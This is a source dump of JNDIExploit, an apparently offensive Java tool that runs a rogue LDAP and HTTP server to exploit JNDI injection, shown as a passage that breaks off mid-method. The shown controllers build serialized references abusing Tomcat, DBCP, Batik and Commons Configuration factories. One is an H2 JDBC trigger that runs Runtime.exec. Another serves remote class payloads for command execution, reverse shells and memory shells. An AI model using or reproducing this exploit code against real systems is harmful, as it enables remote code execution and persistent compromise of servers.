├── .gitignore
├── JNDIExploit.iml
├── README.md
├── lib
├── commons-beanutils-1.8.2.jar
└── commons-beanutils-1.9.2.jar
├── pom.xml
└── src
└── main
└── java
├── com
└── feihong
│ └── ldap
│ ├── HTTPServer.java
│ ├── JavassistClassLoader.java
│ ├── LdapServer.java
│ ├── Starter.java
│ ├── controllers
│ ├── BasicController.java
│ ├── BasicDataSourceController.java
│ ├── BatikJSVGCanvasController.java
│ ├── CommonsConfigurationController.java
│ ├── DbcpController.java
│ ├── H2BasicDataSourceFactoryController.java
│ ├── H2ClassPathXmlApplicationContext.java
│ ├── H2DruidController.java
│ ├── JEditorPaneSSRFController.java
│ ├── LdapController.java
│ ├── LdapMapping.java
│ ├── MkdirController.java
│ ├── PropertiesRefAddr.java
│ ├── SerializedDataController.java
│ ├── TomcatELBypass2Controller.java
│ ├── TomcatELBypassController.java
│ ├── TomcatGroovyBypassController.java
│ ├── TomcatMLetController.java
│ ├── TomcatMVELController.java
│ ├── TomcatRceController.java
│ ├── TomcatSnakeYamlController.java
│ ├── TomcatXStreamController.java
│ ├── TomcatXXEController.java
│ └── WebsphereBypassController.java
│ ├── enumtypes
│ ├── GadgetType.java
│ ├── PayloadType.java
│ └── WebsphereActionType.java
│ ├── exceptions
│ ├── IncorrectParamsException.java
│ ├── UnSupportedActionTypeException.java
│ ├── UnSupportedGadgetTypeException.java
│ └── UnSupportedPayloadTypeException.java
│ ├── gadgets
│ ├── C3P0.java
│ ├── C3P0_LowVer.java
│ ├── CVE_2020_2555.java
│ ├── CVE_2020_2883.java
│ ├── CommonsBeanutils1.java
│ ├── CommonsBeanutils192WithoutCC.java
│ ├── CommonsBeanutils2.java
│ ├── CommonsBeanutils2_2.java
│ ├── CommonsCollections4.java
│ ├── CommonsCollectionsK1.java
│ ├── CommonsCollectionsK2.java
│ ├── Exploit.java
│ ├── Fastjson1.java
│ ├── Fastjson2.java
│ ├── Jackson1.java
│ ├── Jackson2.java
│ ├── Jackson22.java
│ ├── Jackson222.java
│ ├── Jackson3.java
│ ├── Jackson4.java
│ ├── Jdk7u21.java
│ ├── Jre8u20.java
│ ├── URLDNS.java
│ └── utils
│ │ ├── ClassFiles.java
│ │ ├── Gadgets.java
│ │ ├── Reflections.java
│ │ └── Util.java
│ ├── template
│ ├── CommandTemplate.java
│ ├── DnslogTemplate.java
│ ├── DynamicFilterTemplate.java
│ ├── DynamicInterceptorTemplate.java
│ ├── DynamicInterceptorTemplate2.java
│ ├── DynamicInterceptorTemplate3.java
│ ├── JBossMemshellTemplate.java
│ ├── JettyMemshellTemplate.java
│ ├── MyClassLoader.java
│ ├── ReverseShellTemplate.java
│ ├── SpringEchoTemplate.java
│ ├── SpringMemshellTemplate.java
│ ├── SpringMemshellTemplate0.java
│ ├── SpringMemshellTemplate2.java
│ ├── SpringMemshellTemplate3.java
│ ├── Template.java
│ ├── TomcatEchoTemplate.java
│ ├── TomcatMemshellTemplate1.java
│ ├── TomcatMemshellTemplate2.java
│ ├── WeblogicEchoTemplate.java
│ ├── WeblogicMemshellTemplate1.java
│ ├── WeblogicMemshellTemplate2.java
│ └── WebsphereMemshellTemplate.java
│ └── utils
│ ├── Cache.java
│ ├── Config.java
│ ├── MyStaticMethodMatcherPointcut.java
│ ├── MyThrowsAdvice.java
│ ├── MyURLClassLoader.java
│ └── Util.java
└── org
└── joychou
└── controller
├── DynamicInterceptorTemplate0.java
└── MyClassLoader.java
/.gitignore:
--------------------------------------------------------------------------------
1 | target/*
2 | .idea/*
3 | *.bak
--------------------------------------------------------------------------------
/JNDIExploit.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/lib/commons-beanutils-1.8.2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shadowsock5/JNDIExploit/12801aad200d969b5546fad2ae88ad75d93da5d0/lib/commons-beanutils-1.8.2.jar
--------------------------------------------------------------------------------
/lib/commons-beanutils-1.9.2.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/shadowsock5/JNDIExploit/12801aad200d969b5546fad2ae88ad75d93da5d0/lib/commons-beanutils-1.9.2.jar
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/JavassistClassLoader.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap;
2 |
3 | public class JavassistClassLoader extends ClassLoader {
4 | public JavassistClassLoader(){
5 | super(Thread.currentThread().getContextClassLoader());
6 | }
7 | }
8 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/LdapServer.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap;
2 |
3 | import com.feihong.ldap.controllers.LdapController;
4 | import com.feihong.ldap.controllers.LdapMapping;
5 | import com.feihong.ldap.utils.Config;
6 | import com.unboundid.ldap.listener.InMemoryDirectoryServer;
7 | import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
8 | import com.unboundid.ldap.listener.InMemoryListenerConfig;
9 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
10 | import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
11 | import org.reflections.Reflections;
12 | import javax.net.ServerSocketFactory;
13 | import javax.net.SocketFactory;
14 | import javax.net.ssl.SSLSocketFactory;
15 | import java.lang.reflect.Constructor;
16 | import java.net.InetAddress;
17 | import java.util.Set;
18 | import java.util.TreeMap;
19 |
20 |
21 | public class LdapServer extends InMemoryOperationInterceptor {
22 |
23 | TreeMap routes = new TreeMap();
24 |
25 | public static void start() {
26 | try {
27 | InMemoryDirectoryServerConfig serverConfig = new InMemoryDirectoryServerConfig("dc=example,dc=com");
28 | serverConfig.setListenerConfigs(new InMemoryListenerConfig(
29 | "listen",
30 | InetAddress.getByName("0.0.0.0"),
31 | Config.ldapPort,
32 | ServerSocketFactory.getDefault(),
33 | SocketFactory.getDefault(),
34 | (SSLSocketFactory) SSLSocketFactory.getDefault()));
35 |
36 | serverConfig.addInMemoryOperationInterceptor(new LdapServer());
37 | InMemoryDirectoryServer ds = new InMemoryDirectoryServer(serverConfig);
38 | ds.startListening();
39 | System.out.println("[+] LDAP Server Start Listening on " + Config.ldapPort + "...");
40 | }
41 | catch ( Exception e ) {
42 | e.printStackTrace();
43 | }
44 | }
45 |
46 | public LdapServer() throws Exception {
47 |
48 | //find all classes annotated with @LdapMapping
49 | Set> controllers = new Reflections(this.getClass().getPackage().getName())
50 | .getTypesAnnotatedWith(LdapMapping.class);
51 |
52 | //instantiate them and store in the routes map
53 | for(Class> controller : controllers) {
54 | Constructor> cons = controller.getConstructor();
55 | LdapController instance = (LdapController) cons.newInstance();
56 | String[] mappings = controller.getAnnotation(LdapMapping.class).uri();
57 | for(String mapping : mappings) {
58 | if(mapping.startsWith("/"))
59 | mapping = mapping.substring(1); //remove first forward slash
60 |
61 | routes.put(mapping, instance);
62 | }
63 | }
64 | }
65 |
66 | /**
67 | * {@inheritDoc}
68 | *
69 | * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
70 | */
71 | @Override
72 | public void processSearchResult(InMemoryInterceptedSearchResult result) {
73 | String base = result.getRequest().getBaseDN();
74 | System.out.println("[+] Received LDAP Query: " + base);
75 | LdapController controller = null;
76 | //find controller
77 | for(String key: routes.keySet()) {
78 | //compare using wildcard at the end
79 | if(base.toLowerCase().startsWith(key)) {
80 | controller = routes.get(key);
81 | break;
82 | }
83 | }
84 |
85 | if(controller == null){
86 | System.out.println("[!] Invalid LDAP Query: " + base);
87 | return;
88 | }
89 |
90 | try {
91 | controller.process(base);
92 | controller.sendResult(result, base);
93 | } catch (Exception e1) {
94 | System.out.println("[!] Exception: " + e1.getMessage());
95 | e1.printStackTrace();
96 | }
97 | }
98 | }
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/Starter.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap;
2 |
3 | import com.feihong.ldap.utils.Config;
4 | import java.io.IOException;
5 |
6 | public class Starter {
7 | public static void main(String[] args) throws IOException {
8 | Config.applyCmdArgs(args);
9 | LdapServer.start();
10 | HTTPServer.start();
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/BasicController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.exceptions.IncorrectParamsException;
5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
6 | import com.feihong.ldap.template.*;
7 | import com.feihong.ldap.utils.*;
8 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
9 | import com.unboundid.ldap.sdk.Entry;
10 | import com.unboundid.ldap.sdk.LDAPResult;
11 | import com.unboundid.ldap.sdk.ResultCode;
12 |
13 | import java.net.URL;
14 |
15 | @LdapMapping(uri = { "/basic" })
16 | public class BasicController implements LdapController {
17 | //最后的反斜杠不能少
18 | private String codebase = Config.codeBase;
19 | private PayloadType type;
20 | private String[] params;
21 |
22 | @Override
23 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
24 | System.out.println("[+] Sending LDAP ResourceRef result for " + base + " with basic remote reference payload");
25 | //这个方法里面有改动,其他基本无改动
26 | Entry e = new Entry(base);
27 | String className = "";
28 |
29 | switch (type){
30 | case dnslog:
31 | DnslogTemplate dnslogTemplate = new DnslogTemplate(params[0]);
32 | dnslogTemplate.cache();
33 | className = dnslogTemplate.getClassName();
34 | break;
35 | case command:
36 | CommandTemplate commandTemplate = new CommandTemplate(params[0]);
37 | commandTemplate.cache();
38 | className = commandTemplate.getClassName();
39 | break;
40 | case reverseshell:
41 | ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(params[0], params[1]);
42 | reverseShellTemplate.cache();
43 | className = reverseShellTemplate.getClassName();
44 | break;
45 | case tomcatecho:
46 | className = TomcatEchoTemplate.class.getName();
47 | break;
48 | case springecho:
49 | className = SpringEchoTemplate.class.getName();
50 | break;
51 | case tomcatmemshell1:
52 | className = TomcatMemshellTemplate1.class.getName();
53 | break;
54 | case tomcatmemshell2:
55 | className = TomcatMemshellTemplate2.class.getName();
56 | break;
57 | case jettymemshell:
58 | className = JettyMemshellTemplate.class.getName();
59 | break;
60 | case jbossmemshell:
61 | className = JBossMemshellTemplate.class.getName();
62 | break;
63 | case webspherememshell:
64 | className = WebsphereMemshellTemplate.class.getName();
65 | break;
66 | case springmemshell:
67 | className = SpringMemshellTemplate.class.getName();
68 | break;
69 | }
70 |
71 | URL turl = new URL(new URL(this.codebase), className + ".class");
72 | System.out.println("[+] Send LDAP reference result for " + base + " redirecting to " + turl);
73 | e.addAttribute("javaClassName", "foo");
74 | e.addAttribute("javaCodeBase", this.codebase);
75 | e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
76 | e.addAttribute("javaFactory", className);
77 | result.sendSearchEntry(e);
78 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
79 |
80 | System.out.println("[+] Done Sending LDAP ResourceRef result");
81 | }
82 |
83 | @Override
84 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
85 | try{
86 | int fistIndex = base.indexOf("/");
87 | int secondIndex = base.indexOf("/", fistIndex + 1);
88 | if(secondIndex < 0) secondIndex = base.length();
89 |
90 | try{
91 | type = PayloadType.valueOf(base.substring(fistIndex + 1, secondIndex).toLowerCase());
92 | System.out.println("[+] Paylaod: " + type);
93 | }catch(IllegalArgumentException e){
94 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(fistIndex + 1, secondIndex));
95 | }
96 |
97 | switch(type){
98 | case dnslog:
99 | String url = base.substring(base.lastIndexOf("/") + 1);
100 | System.out.println("[+] URL: " + url);
101 | params = new String[]{url};
102 | break;
103 | case command:
104 | String cmd = Util.getCmdFromBase(base);
105 | System.out.println("[+] Command: " + cmd);
106 | params = new String[]{cmd};
107 | break;
108 | case reverseshell:
109 | String[] results = Util.getIPAndPortFromBase(base);
110 | System.out.println("[+] IP: " + results[0]);
111 | System.out.println("[+] Port: " + results[1]);
112 | params = results;
113 | break;
114 | }
115 | }catch(Exception e){
116 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
117 |
118 | throw new IncorrectParamsException("Incorrect params: " + base);
119 | }
120 | }
121 | }
122 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/BasicDataSourceController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.exceptions.IncorrectParamsException;
5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
6 | import com.feihong.ldap.utils.Util;
7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
8 | import com.unboundid.ldap.sdk.Entry;
9 | import com.unboundid.ldap.sdk.LDAPResult;
10 | import com.unboundid.ldap.sdk.ResultCode;
11 | import org.apache.naming.ResourceRef;
12 |
13 | import javax.naming.StringRefAddr;
14 |
15 | // Ref: https://github.com/iSafeBlue/presentation-slides/blob/main/BCS2022-%E6%8E%A2%E7%B4%A2JNDI%E6%94%BB%E5%87%BB.pdf
16 | @LdapMapping(uri = { "/basicdatasource" })
17 | public class BasicDataSourceController implements LdapController{
18 |
19 | private PayloadType type;
20 | private String[] params;
21 |
22 | @Override
23 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
24 | System.out.println("[+] Sending LDAP ResourceRef result for " + base);
25 |
26 | Entry e = new Entry(base);
27 | e.addAttribute("javaClassName", "java.lang.String");
28 |
29 | ResourceRef ref = new ResourceRef("org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
30 | null, "", "", true,
31 | "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);
32 | ref.add(new StringRefAddr("systemProperties", params[0]));
33 |
34 | e.addAttribute("javaSerializedData", Util.serialize(ref));
35 |
36 | result.sendSearchEntry(e);
37 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
38 |
39 | System.out.println("[+] Done Sending LDAP ResourceRef result");
40 | }
41 |
42 | @Override
43 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
44 | try{
45 | int firstIndex = base.indexOf("/");
46 | int secondIndex = base.indexOf("/", firstIndex + 1);
47 | if(secondIndex < 0) secondIndex = base.length();
48 |
49 | try{
50 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
51 |
52 | // 只支持这一种
53 | if(type != PayloadType.url){
54 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type);
55 | }
56 |
57 | System.out.println("[+] Paylaod: " + type);
58 | }catch(IllegalArgumentException e){
59 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex));
60 | }
61 |
62 | switch (type){
63 | case url:
64 | String url = Util.getUrlFromBase(base);
65 | System.out.println("[+] Propertiy url: " + url);
66 | params = new String[]{url}; // 设置好url,待sendResult方法内使用
67 | break;
68 | }
69 | }catch(Exception e){
70 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
71 |
72 | throw new IncorrectParamsException("Incorrect params: " + base);
73 | }
74 | }
75 | }
76 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/BatikJSVGCanvasController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.exceptions.IncorrectParamsException;
5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
6 | import com.feihong.ldap.utils.Util;
7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
8 | import com.unboundid.ldap.sdk.Entry;
9 | import com.unboundid.ldap.sdk.LDAPResult;
10 | import com.unboundid.ldap.sdk.ResultCode;
11 | import org.apache.naming.ResourceRef;
12 |
13 | import javax.naming.StringRefAddr;
14 |
15 | @LdapMapping(uri = { "/batik" })
16 | public class BatikJSVGCanvasController implements LdapController{
17 |
18 | private PayloadType type;
19 | private String[] params;
20 |
21 | @Override
22 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
23 | System.out.println("[+] Sending LDAP ResourceRef result for " + base);
24 |
25 | Entry e = new Entry(base);
26 | e.addAttribute("javaClassName", "java.lang.String");
27 |
28 | // 待执行setter方法的类
29 | ResourceRef ref = new ResourceRef("org.apache.batik.swing.JSVGCanvas",
30 | null, "", "", true,
31 | "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);
32 | // 待执行的setter方法,setURI
33 | ref.add(new StringRefAddr("URI", params[0]));
34 |
35 | e.addAttribute("javaSerializedData", Util.serialize(ref));
36 |
37 | result.sendSearchEntry(e);
38 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
39 |
40 | System.out.println("[+] Done Sending LDAP ResourceRef result");
41 | }
42 |
43 | @Override
44 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
45 | try{
46 | int firstIndex = base.indexOf("/");
47 | int secondIndex = base.indexOf("/", firstIndex + 1);
48 | if(secondIndex < 0) secondIndex = base.length();
49 |
50 | try{
51 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
52 |
53 | // 只支持这一种
54 | if(type != PayloadType.url){
55 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type);
56 | }
57 |
58 | System.out.println("[+] Paylaod: " + type);
59 | }catch(IllegalArgumentException e){
60 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex));
61 | }
62 |
63 | switch (type){
64 | case url:
65 | String url = Util.getUrlFromBase(base);
66 | System.out.println("[+] payload url: " + url);
67 | params = new String[]{url}; // 设置好url,待sendResult方法内使用
68 | break;
69 | }
70 | }catch(Exception e){
71 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
72 |
73 | throw new IncorrectParamsException("Incorrect params: " + base);
74 | }
75 | }
76 | }
77 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/CommonsConfigurationController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.exceptions.IncorrectParamsException;
5 | import com.feihong.ldap.exceptions.UnSupportedActionTypeException;
6 | import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException;
7 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
8 | import com.feihong.ldap.utils.Util;
9 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
10 | import com.unboundid.ldap.sdk.Entry;
11 | import com.unboundid.ldap.sdk.LDAPResult;
12 | import com.unboundid.ldap.sdk.ResultCode;
13 | import org.apache.naming.ResourceRef;
14 |
15 | import javax.naming.StringRefAddr;
16 |
17 | // Ref: https://github.com/iSafeBlue/presentation-slides/blob/main/BCS2022-%E6%8E%A2%E7%B4%A2JNDI%E6%94%BB%E5%87%BB.pdf
18 | @LdapMapping(uri = { "/commonsconfiguration2" })
19 | public class CommonsConfigurationController implements LdapController{
20 |
21 | private PayloadType type;
22 | private String[] params;
23 |
24 | @Override
25 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
26 | System.out.println("[+] Sending LDAP ResourceRef result for " + base);
27 |
28 | Entry e = new Entry(base);
29 | e.addAttribute("javaClassName", "java.lang.String");
30 |
31 | ResourceRef ref = new ResourceRef("org.apache.commons.configuration2.SystemConfiguration",
32 | null, "", "", true,
33 | "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);
34 | // "org.apache.naming.factory.BeanFactory", null);
35 |
36 | ref.add(new StringRefAddr("systemProperties", params[0]));
37 |
38 | e.addAttribute("javaSerializedData", Util.serialize(ref));
39 |
40 | result.sendSearchEntry(e);
41 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
42 |
43 | System.out.println("[+] Done Sending LDAP ResourceRef result");
44 | }
45 |
46 | @Override
47 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
48 | try{
49 | int firstIndex = base.indexOf("/");
50 | int secondIndex = base.indexOf("/", firstIndex + 1);
51 | if(secondIndex < 0) secondIndex = base.length();
52 |
53 | try{
54 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
55 |
56 | // 只支持这一种
57 | if(type != PayloadType.url){
58 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type);
59 | }
60 |
61 | System.out.println("[+] Paylaod: " + type);
62 | }catch(IllegalArgumentException e){
63 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex));
64 | }
65 |
66 | switch (type){
67 | case url:
68 | String url = Util.getUrlFromBase(base);
69 | System.out.println("[+] Propertiy url: " + url);
70 | params = new String[]{url}; // 设置好url,待sendResult方法内使用
71 | break;
72 | }
73 | }catch(Exception e){
74 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
75 |
76 | throw new IncorrectParamsException("Incorrect params: " + base);
77 | }
78 | }
79 | }
80 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/DbcpController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.exceptions.IncorrectParamsException;
5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
6 | import com.feihong.ldap.utils.Util;
7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
8 | import com.unboundid.ldap.sdk.Entry;
9 | import com.unboundid.ldap.sdk.LDAPResult;
10 | import com.unboundid.ldap.sdk.ResultCode;
11 |
12 | import javax.naming.Reference;
13 | import javax.naming.StringRefAddr;
14 |
15 |
16 | // ref: https://tttang.com/archive/1405/
17 | @LdapMapping(uri = { "/dbcp" })
18 | public class DbcpController implements LdapController{
19 | private PayloadType type;
20 | private String[] params;
21 |
22 | @Override
23 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
24 | System.out.println("[+] Sending LDAP ResourceRef result for " + base);
25 |
26 | Entry e = new Entry(base);
27 | e.addAttribute("javaClassName", "java.lang.String");
28 |
29 | // ResourceRef ref = new ResourceRef("javax.swing.JEditorPane",
30 | // null, "", "", true,
31 | // "org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory", null);
32 | // ref.add(new StringRefAddr("page", params[0]));
33 | javax.naming.Reference ref = null;
34 |
35 | switch (params[0]){
36 | case "tomcat_jdbc":
37 | ref = tomcat_JDBC_RCE();
38 | break;
39 | case "tomcat_dbcp2":
40 | ref = tomcat_dbcp2_RCE();
41 | break;
42 | case "tomcat_dbcp1":
43 | ref = tomcat_dbcp1_RCE();
44 | break;
45 | case "commons_dbcp2":
46 | ref = commons_dbcp2_RCE();
47 | break;
48 | case "commons_dbcp1":
49 | ref = commons_dbcp1_RCE();
50 | break;
51 |
52 | }
53 |
54 |
55 | e.addAttribute("javaSerializedData", Util.serialize(ref));
56 |
57 | result.sendSearchEntry(e);
58 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
59 |
60 | System.out.println("[+] Done Sending LDAP ResourceRef result");
61 | }
62 |
63 | private static Reference tomcat_JDBC_RCE(){
64 | return dbcpByFactory("org.apache.tomcat.jdbc.pool.DataSourceFactory");
65 | }
66 |
67 | private static Reference tomcat_dbcp2_RCE(){
68 | return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory");
69 | }
70 | private static Reference tomcat_dbcp1_RCE(){
71 | return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory");
72 | }
73 | private static Reference commons_dbcp2_RCE(){
74 | return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory");
75 | }
76 | private static Reference commons_dbcp1_RCE(){
77 | return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory");
78 | }
79 |
80 |
81 | private static Reference dbcpByFactory(String factory){
82 | String cmd = "calc"; // 修改这里
83 |
84 | Reference ref = new Reference("javax.sql.DataSource",factory,null);
85 | String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
86 | "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
87 | "java.lang.Runtime.getRuntime().exec('" + cmd + "')\n" +
88 | "$$\n";
89 | ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
90 | ref.add(new StringRefAddr("url",JDBC_URL));
91 | ref.add(new StringRefAddr("username","root"));
92 | ref.add(new StringRefAddr("password","password"));
93 | ref.add(new StringRefAddr("initialSize","1"));
94 | return ref;
95 | }
96 |
97 |
98 |
99 | @Override
100 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
101 | try{
102 | int firstIndex = base.indexOf("/");
103 | int secondIndex = base.indexOf("/", firstIndex + 1);
104 | if(secondIndex < 0) secondIndex = base.length();
105 |
106 | try{
107 | type = PayloadType.valueOf(base.substring(firstIndex + 1, secondIndex).toLowerCase());
108 |
109 | // 只支持这一种
110 | if(type != PayloadType.factory){
111 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + type);
112 | }
113 |
114 | System.out.println("[+] Paylaod: " + type);
115 | }catch(IllegalArgumentException e){
116 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + base.substring(firstIndex + 1, secondIndex));
117 | }
118 |
119 | switch (type){
120 | case factory:
121 | String factory = Util.getFactoryFromBase(base);
122 | System.out.println("[+] Propertiy url: " + factory);
123 | params = new String[]{factory}; // 设置好url,待sendResult方法内使用
124 | break;
125 | }
126 | }catch(Exception e){
127 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
128 |
129 | throw new IncorrectParamsException("Incorrect params: " + base);
130 | }
131 | }
132 | }
133 |
--------------------------------------------------------------------------------
/src/main/java/com/feihong/ldap/controllers/H2BasicDataSourceFactoryController.java:
--------------------------------------------------------------------------------
1 | package com.feihong.ldap.controllers;
2 |
3 | import com.feihong.ldap.enumtypes.PayloadType;
4 | import com.feihong.ldap.exceptions.IncorrectParamsException;
5 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
6 | import com.feihong.ldap.template.SpringMemshellTemplate;
7 | import com.feihong.ldap.utils.Util;
8 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
9 | import com.unboundid.ldap.sdk.Entry;
10 | import com.unboundid.ldap.sdk.LDAPResult;
11 | import com.unboundid.ldap.sdk.ResultCode;
12 | import org.apache.naming.ResourceRef;
13 |
14 | import javax.naming.Reference;
15 | import javax.naming.StringRefAddr;
16 |
17 | /*
18 | ldap://x.x.x.x:1389/BDSFC
19 |
20 | Ref: https://b1ue.cn/archives/529.html
21 |
22 | */
23 |
24 | @LdapMapping(uri = { "/h2bdsfc" })
25 | public class H2BasicDataSourceFactoryController implements LdapController {
26 |
27 | private PayloadType type;
28 | private String[] params;
29 |
30 | @Override
31 | public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
32 | System.out.println("[+] Sending LDAP ResourceRef result for " + base);
33 |
34 | Entry e = new Entry(base);
35 | e.addAttribute("javaClassName", "java.lang.String"); //could be any
36 | //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
37 | javax.naming.Reference ref = tomcat_dbcp1_RCE(params[0]);
38 |
39 | e.addAttribute("javaSerializedData", Util.serialize(ref));
40 |
41 | result.sendSearchEntry(e);
42 | result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
43 |
44 | System.out.println("[+] Done Sending LDAP ResourceRef result");
45 | }
46 |
47 | @Override
48 | public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
49 | try{
50 | int firstIndex = base.indexOf("/");
51 | int secondIndex = base.indexOf("/", firstIndex + 1);
52 | if(secondIndex < 0) secondIndex = base.length();
53 |
54 | //因为我对 grovvy 的语法完全不懂,所以目前只支持执行命令这一种形式的 PayloadType
55 | String payloadType = base.substring(firstIndex + 1, secondIndex);
56 | if(payloadType.equalsIgnoreCase("command")){
57 | type = PayloadType.valueOf("command");
58 | System.out.println("[+] Paylaod: " + type);
59 | }else{
60 | throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
61 | }
62 |
63 | String cmd = Util.getCmdFromBase(base);
64 | System.out.println("[+] Command: " + cmd);
65 | params = new String[]{cmd};
66 | }catch(Exception e){
67 | if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
68 |
69 | throw new IncorrectParamsException("Incorrect params: " + base);
70 | }
71 | }
72 |
73 |
74 | private static Reference tomcat_dbcp2_RCE(String cmd){
75 | return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", cmd);
76 | }
77 | private static Reference tomcat_dbcp1_RCE(String cmd){
78 | return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory", cmd);
79 | }
80 | private static Reference commons_dbcp2_RCE(String cmd){
81 | return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory", cmd);
82 | }
83 | private static Reference commons_dbcp1_RCE(String cmd){
84 | return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory", cmd);
85 | }
86 | private static Reference dbcpByFactory(String factory, String cmd){
87 | Reference ref = new Reference("javax.sql.DataSource",factory,null);
